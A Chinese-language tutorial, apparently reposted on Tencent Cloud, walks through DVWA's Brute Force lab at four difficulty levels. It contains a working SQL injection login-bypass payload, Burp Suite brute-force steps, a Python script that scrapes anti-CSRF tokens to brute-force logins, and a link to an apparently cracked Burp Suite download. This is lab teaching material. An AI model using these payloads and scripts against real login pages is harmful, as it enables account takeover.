“爆破?物理爆破才是王道!”
前言
相信大家看过之前的教程已经成功搭建起我们的渗透测试环境啦!那么,在这篇文章中一起开启web渗透测试的第一篇吧!爆破什么的最爽了!
Brute Force 介绍
Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。通俗地讲,就是尝试每一种答案的可能,如以前轰动全国的12306“撞库”事件,实质就是暴力破解攻击。
暴力破解模型(开箱子模型)
for(密码=000;密码<=999;密码=密码+1)
{
输入密码;
按下开锁按钮;
if箱子关闭;
破解失败;
continue;
if箱子打开;
破解成功;
break;
}
上述代码通过一个循环,从000号密码开始尝试打开箱子,打开即停止,打不开便尝试下一个钥匙。 就这样,我们尝试了每一种可能性,总会有打开箱子的时候(当然只是时间问题)
具体操作
首先我们启动phpstudy,开启Apache和Mysql服务
访问自己的本地
url(127.0.0.1/DVWA-master/index.php
点击下方的 DVWA Security来切换难度
这里选择low
然后点击上方的 Brute Force,在下方就能看到当前的难度
答题界面就是这里了
我们可以在本地文件夹中看到题目源代码(到你自己的路径中去找)
low等级
源代码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
服务器只验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username没有做任何过滤,然而对password做了MD5校验,杜绝了通过参数password进行sql注入,因此利用的思路如下:
1、直接进行爆破
2、对没做过滤的username做sql注入
使用工具爆破
使用Bursuite进行爆破
burpsuite
下载链接
https://pan.baidu.com/wap/init?surl=mUf6wAbrNquDYx8xdhp48A
密码:
s1ws
注册使用
https://blog.csdn.net/u014549283/article/details/81248886
burpsuite 使用方法
https://www.cnblogs.com/nieliangcai/p/6689915.html
抓包如下
爆破位置如下
加载字典
开始爆破
发现这一条的回显长度明显不一样
查看Respose发现爆破成功!
手工注入
由于源代码中,没有对username输入进行过滤,而且能看到sql查询语句
可以构造payload来进行注入,从而绕过密码验证部分
sql注入原理
https://www.cnblogs.com/cnhacker/p/6984665.html
payload:
admin' #
注入成功,没有输入密码,但却登录成功
medium 等级
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
相对比于low等级,为了防止SQL注入,把用户提交的登录用户名和密码数据进行转义过滤,增加了mysqli_real_escape_string函数,mysqli_real_escape_string函数的用法如下:
mysqli_real_escape_string(escapestring,connection);
第一个参数为需转义字符串,第二个参数为数据库连接。
对以下输入的字符串进行转义:
NUL (ASCII 0)
\n
\r
\
'
"
\0xaa
使用了mysqli_real_escape_string函数过滤输入,字符编码为UTF-8的环境下,抵御了sql注入攻击(GBK编码下该函数会存在宽字节注入漏洞)。对于登录验证的防护,只用了sleep(2),我们仍然可以采用暴力猜解的方式,利用方式同low等级。
因为使用了sleep(2)语句,导致我们爆破的时间大大增加,但仍旧可以爆破成功
high 等级
源代码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 用户名输入过滤
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 密码输入过滤
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// 带入数据库查询
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// 登录成功
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
代码中对username和password都进行了过滤,防止了sql注入的发生,并且有checkToken()函数和generateSessionToken()函数,定位到dvwa程序的源码中:
// Token functions --
function checkToken( $user_token, $session_token, $returnURL ) { # Validate the given (CSRF) token
if( $user_token !== $session_token || !isset( $session_token ) ) {
dvwaMessagePush( 'CSRF token is incorrect' );
dvwaRedirect( $returnURL );
}
}
function generateSessionToken() { # Generate a brand new (CSRF) token
if( isset( $_SESSION[ 'session_token' ] ) ) {
destroySessionToken();
}
$_SESSION[ 'session_token' ] = md5( uniqid() );
}
function destroySessionToken() { # Destroy any session with the name 'session_token'
unset( $_SESSION[ 'session_token' ] );
}
function tokenField() { # Return a field for the (CSRF) token
return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}
可以发现,High级别的代码加入了产生token值和检查token值的功能,通过抓包,可以看到登录验证时提交了四个参数:username、password、Login以及user_token。
可以看出每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,先进行token的检查,再进行sql查询
抓包来验证一下,在Response中发现下一次请求的token
爆破方法
根据上述的分析过程,我们有了这样一个简单的爆破思路
for(用户名 in username.txt)
for(密码 in password.txt)
{
访问首页;
获取user_token;
发送数据包;
if 'Username and/or password incorrect.' in HTML;
破解失败;
continue;
else
破解成功;
break;
}
根据这个简单的模型,让我们来细化出一个爆破脚本
# -*- coding: utf-8-*-
#Test By AHai
import requests
import re
IP = "127.0.0.1/DVWA-master/"
cookies = {
'PHPSESSID':'dlc2unhh4ltlaeb0q0f05k1qm2',
'security':'high'
}
for username in open("username.txt"):
for password in open("password.txt"):
#访问首页
response = requests.get('http://'+IP+'/vulnerabilities/brute/',cookies=cookies)
content = response.text
#获取user_token
user_token = re.findall(r"name='user_token' value='(.+?)'",content)[0]
#发送登录数据包
url = 'http://'+IP+'/vulnerabilities/brute/index.php?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
response = requests.get(url,cookies=cookies)
content = response.text
###确认破解结果
print ("-"*20)
print (u"用户名:"+username)
print (u"密码:"+password)
if 'Username and/or password incorrect.' in content:
print (u"破解失败!")
else:
print (u"破解成功!")
print ("-"*20)
同样可以做到爆破出
用户名admin
密码password
imposible 等级
源代码:
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作(即规定死了查询格式,而不取决于用户的输入),而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令
后记
暴力破解(Brute Force)存在的根本原因在于
1、目标的密码空间是有限的
2、服务端允许用户不断进行尝试
因此,若要解决暴力破解问题,从原因上对症下药即可
1、尽量设计复杂算法,扩大密码空间
2、限制用户的尝试访问次数
当然了,我们同样可以加大其访问代价,使得其得到数据花费的代价远高于数据本身的价值
—— 阿海 记于 2018.10.03
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有